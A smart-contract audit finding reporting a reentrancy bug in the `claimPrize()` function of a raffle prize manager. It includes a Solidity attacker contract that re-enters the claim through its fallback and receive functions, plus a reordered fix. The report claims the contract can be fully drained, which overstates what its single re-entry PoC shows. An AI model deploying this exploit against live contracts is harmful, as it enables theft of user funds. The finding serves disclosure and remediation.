Spare Opaque Cottonmouth

High

# Reentrancy attack in `claimPrize()`

## Summary
Reentrancy attack in `claimPrize()` when prize reward is ether
## Vulnerability Detail
After diving into the `WinnablesPrizeManager` contract in `WinnablesPrizeManager.sol` we can see the function `claimPrize`:
```solidity
    /// @notice (Public) Send the prize for a Raffle to its rightful winner
    /// @param raffleId ID of the raffle
    function claimPrize(uint256 raffleId) external {
        RafflePrize storage rafflePrize = _rafflePrize[raffleId];
        RaffleType raffleType = rafflePrize.raffleType;
        if (raffleType == RaffleType.NFT) {
            NFTInfo storage raffle = _nftRaffles[raffleId];
            _nftLocked[raffle.contractAddress][raffle.tokenId] = false;
            _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender);
        } else if (raffleType == RaffleType.TOKEN) {
            TokenInfo storage raffle = _tokenRaffles[raffleId];
            unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; }
            _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender);
        } else if (raffleType == RaffleType.ETH) {
            unchecked { _ethLocked -= _ethRaffles[raffleId]; }
            _sendETHPrize(_ethRaffles[raffleId], msg.sender); // @audit-issue
        } else revert InvalidRaffle();
        if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();
        if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed();
        rafflePrize.status = RafflePrizeStatus.CLAIMED; // @todo
        emit PrizeClaimed(raffleId, msg.sender);
    }
```
There are `if` statements which check what is the value of `raffleType` in order to know what kind of reward is set to the specific raffle and send the prize to its rightful winner. At the top of the smart contract, where the static variables are declared, we see the `_ethLocked` variable. After clarifying and communicating with a sponsor, we understand that this variable stores the total value of ether that is in the contract balance. In otherwords, `_ethLocked` is a sum of all the ether set for prize rewards of the available raffles. The smart contract balance is NOT limited to the prize reward of only one specific raffle that has ether for reward prize, but all others. In order to send the prize reward in `ETH` to the winner the `claimPrize` function uses an internal function `_sendETHPrize()`.:
```solidity
    /// @dev Transfers the NFT prize to the winner
    /// @param amount Amount of ETH to send
    /// @param winner Address of the winner
    function _sendETHPrize(uint256 amount, address winner) internal {
        (bool success, ) = winner.call{ value: amount }("");
        if (!success) revert ETHTransferFail();
    }
```
There is no `nonReentrant` modifier from OpenZeppelin's `ReentrancyGuard` or any other protection from reentrancy attack. Why a reentrancy attack is possible and efficient in this case? Because the status of the raffle is updated to `RafflePrizeStatus.CLAIMED` after the use of `_sendETHPrize()`. Thus, if the winner is a malicious contract which exploits the reentrancy vulnerability, it can claim not just the prize reward - `_ethRaffles[raffleId]` but all the total ether in the contract.
## Impact
A malicious winner of a raffle with ether prize reward can drain all the available ether in the contract
## Proof of Concept
1. Alice who is an admin creates a new raffle with prize reward of `1 ETH`. There are many others raffles with different IDs also with `ETH` prize reward so we assume `_ethLocked` = `5 ETH` or total `5 ETH` locked in prize rewards for all the raffles in the contract.
2. Bob, who is aware of the reentrancy bug in the contract, as soon as he sees a new raffle with an ETH reward, signs up by buying as many tickets as he can from addresses of his malicious contracts exploiting the reentrancy vulnerability. An example contract that exploits the bug:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

interface IPrizeManager {
    function claimPrize(uint256 raffleId) external;
}

contract ReentrantClaimer {
    bool private _done;
    uint256 private _raffleId;
    address private _prizeManager;

    function doubleClaim(address prizeManager, uint256 raffleId) external {
        _raffleId = raffleId;
        _prizeManager = prizeManager;
        IPrizeManager(prizeManager).claimPrize(raffleId);
    }

    fallback() external payable {
        if (_done) {
            _done = false;
            _raffleId = 0;
            _prizeManager = address(0);
            return;
        }
        _done = true;
        IPrizeManager(_prizeManager).claimPrize(_raffleId);
    }

    receive() external payable {
        if (_done) {
            _done = false;
            _raffleId = 0;
            _prizeManager = address(0);
            return;
        }
        _done = true;
        IPrizeManager(_prizeManager).claimPrize(_raffleId);
    }
}
```
3. Bob wins the raffle after some period of time when all the tickets has been sold and when he calls `claimPrize` successfully drains all available `5 ETH` in the contract.
## Code Snippet
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L311-L317
## Tool used
Manual Review
## Recommendation
The order of changing the raffle status to `RafflePrizeStatus.CLAIMED` should be changed:
```solidity
    /// @notice (Public) Send the prize for a Raffle to its rightful winner
    /// @param raffleId ID of the raffle
    function claimPrize(uint256 raffleId) external {
        RafflePrize storage rafflePrize = _rafflePrize[raffleId];
        RaffleType raffleType = rafflePrize.raffleType;
        if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); // @note should be here!
        rafflePrize.status = RafflePrizeStatus.CLAIMED; // @note should be here!
        if (raffleType == RaffleType.NFT) {
            NFTInfo storage raffle = _nftRaffles[raffleId];
            _nftLocked[raffle.contractAddress][raffle.tokenId] = false;
            _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender);
        } else if (raffleType == RaffleType.TOKEN) {
            TokenInfo storage raffle = _tokenRaffles[raffleId];
            unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; }
            _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender);
        } else if (raffleType == RaffleType.ETH) {
            unchecked { _ethLocked -= _ethRaffles[raffleId]; }
            _sendETHPrize(_ethRaffles[raffleId], msg.sender);
        } else revert InvalidRaffle();
        if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();
        emit PrizeClaimed(raffleId, msg.sender);
    }
```